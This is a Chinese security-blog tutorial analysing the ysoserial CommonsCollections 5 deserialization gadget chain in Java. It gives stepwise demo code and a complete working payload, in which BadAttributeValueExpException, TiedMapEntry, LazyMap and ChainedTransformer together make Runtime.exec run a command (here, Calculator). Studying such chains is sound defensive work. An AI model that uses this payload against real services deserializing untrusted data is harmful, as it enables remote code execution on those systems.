『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

admin 2022年3月23日13:32:15评论72 views字数 9225阅读30分45秒阅读模式

  点击蓝字 关注我们  



日期:2022-03-21

作者:ICDAT

介绍:这篇文章主要是对之前ysoserial CommonsCollections 5反序列化(一)的分析补充。


0x00 前言

之前我们在ysoserial CommonsCollections 5 反序列化分析(一)分析了如何通过InvokerTransformerConstantTransformerChainedTransformer三个方法来实现利用java本身的类来实现run.getRuntime.exec()执行命令。

这是反序列链利用中的重要的一环,今天我们分析另一个环节,找到嵌入命令执行代码的载体,组成一条完整的利用链。

要想找到一条链,我们需要知道链的头和尾,我们知道反序列链的头是ObjectInputStream类的readObject方法,经过上篇文章的分析,我们的尾可以从Runtime.exec()变换成ChainedTransformer.transform()

利用链简化如下:

Gadget chain:        ObjectInputStream.readObject()            BadAttributeValueExpException.readObject()                TiedMapEntry.toString()                    LazyMap.get()                        ChainedTransformer.transform()

0x01 readObject

首先来了解一下readObject方法:

readObject() 方法是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。同时readObject() 是可以重写的,可以定制反序列化的一些行为。

根据上述的理解,对于一个简单的存在反序列化漏洞的demo,我们可以这么写,编写一个Person类,实现Serializable接口,重写readObject方法,直接弹出计算器。

package payload;
import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;
public class Person implements Serializable { public String name; public Person(){
}
public Person(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
@Override public String toString() { return "Person{" + "name='" + name + ''' + '}'; } //重写readObject方法 private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject();//执行默认的readObject方法 //编写弹窗语句 Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }
}

然后我们在demo1中反序列化触发:

package demos;
import payload.Person;
import java.io.*;
public class demo1{
public static void main(String[] args) { Person test = new Person(); test.setName("666"); serialize(test); deserialize(); } public static void serialize(Object obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } }}

当然真实的代码里,没有这么写的,但是给我们的思路是从重写readObject的方法的类中找可以通过一系列的代码操作执行ChainedTransformer.transform()

0x02 LazyMap

org.apache.commons.collections.map.LazyMap类实现了MapSerializable接口。成员变量类型为Transformer

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

其中get方法在key值不存在的时候调用了transform方法。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

同时存在decorate方法可以创建一个LazyMap对象。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

根据之前的分析,ChainedTransformer也实现了Transformer,这里可以传入一个map对象和Transformer对象。那么payload可以改写一下。
package demos;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class lazymapDemo { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); lazyMap.get("1"); }}

我们最终的目的是在调用readObject的过程中自动的执行相关代码,改写的payload没有反序列化的过程,所以这么写肯定是不行的,但是我们把这个流程又简化了,可以去寻找代码调用LazyMap.get()方法的。

0x03 TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry类,实现了Serializable。成员变量类型为MapgetValue方法调用了map.get方法。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

toString方法调用了getValue方法。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

如果传入一个LazyMap对象,调用toString方法或者getValue方法就调用了LazyMap.get()方法。按照这个逻辑,我们可以再修改一下代码。
package demos;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;import java.util.Map;
public class tiedMaoDemo { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, 123); entry.toString();
}}

如果对这段代码进行调试,就会发现存在一个问题,它在TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);处就弹出了计算器,在调用toString()方法后反而没有弹窗!

如果删除entry.toString();,不调试直接运行这段代码,就会发现不会弹窗。如果单步调试,会发现在TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);结束后进行了弹窗。

这个问题,是因为idea在本地调试的时候,调试器会在下面调用一些toString之类的方法。而TiedMapEntry.toString()正是可以执行计算器弹窗的。

我们发现还是没有找到在readObject方法中调用的,所以这一波还是留存简化,去找代码中调用TiedMapEntry.toString()readObject的类。

0x04 BadAttributeValueExpException

javax.management.BadAttributeValueExpException类,其readObject方法中,调用了toString方法。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

观察代码,valObj是通过ObjectInputStream.GetField.get()方法获取反序列字段中val的值,valObj不为空且System.getSecurityManager()null的情况下,对BadAttributeValueExpException类对象进行反序列化的时候会调用valObj.toString方法。
查看BadAttributeValueExpException的成员变量和构造方法。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

val为私有成员变量,且构造方法中val不是null会调用本身类的val.toString方法。那么我们需要new一个nullBadAttributeValueExpException类对象,然后传入TiedMapEntry类对象。
java可以通过反射来设置私有变量,如下列代码所示,设置Person类的私有成员变量age的值为12
package demos;
import payload.Person;import java.lang.reflect.Field;
public class privateDemo { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { Person p = new Person(); Field age = p.getClass().getDeclaredField("age"); age.setAccessible(true); age.set(p,12);
System.out.println(p.getAge()); }}

以此类推,设置BadAttributeValueExpException类对象的val的值为TiedMapEntry对象。

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Field field = badAttributeValueExpException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(badAttributeValueExpException, entry);

然后对BadAttributeValueExpException类对象进行序列化,反序列化的时候,会调用BadAttributeValueExpException类的readObject方法,进而调用TiedMapEntry.toString(),然后调用LazyMap.get(),接着调用ChainedTransformer.transform(),进而实现runtime.getRuntime.exec()执行命令。

完整的payload代码如下:

package payload;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;

public class demo { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
}; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, ""); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, entry);
serialize(badAttributeValueExpException); deserialize(); }
public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } }
public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } }}

完整的利用链:

Gadget chain:        ObjectInputStream.readObject()            BadAttributeValueExpException.readObject()                TiedMapEntry.toString()                    LazyMap.get()                        ChainedTransformer.transform()                            ConstantTransformer.transform()                            InvokerTransformer.transform()                                Method.invoke()                                    Class.getMethod()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.getRuntime()                            InvokerTransformer.transform()                                Method.invoke()                                    Runtime.exec()    Requires:        commons-collections

0x05 总结

其实感觉一路分析下来很简单的,但是毕竟是站在别人的肩膀上,跟着原有的payload才能顺利的一步步的跟进,后续还需进行学习。



『代码审计』ysoserial CommonsCollections 5 反序列化分析(一)

1月21日

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

阅读全文

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)



免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(鸿鹄实验室):『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日13:32:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial CommonsCollections 5 反序列化分析(二)http://cn-sec.com/archives/837113.html

发表评论

匿名网友 填写信息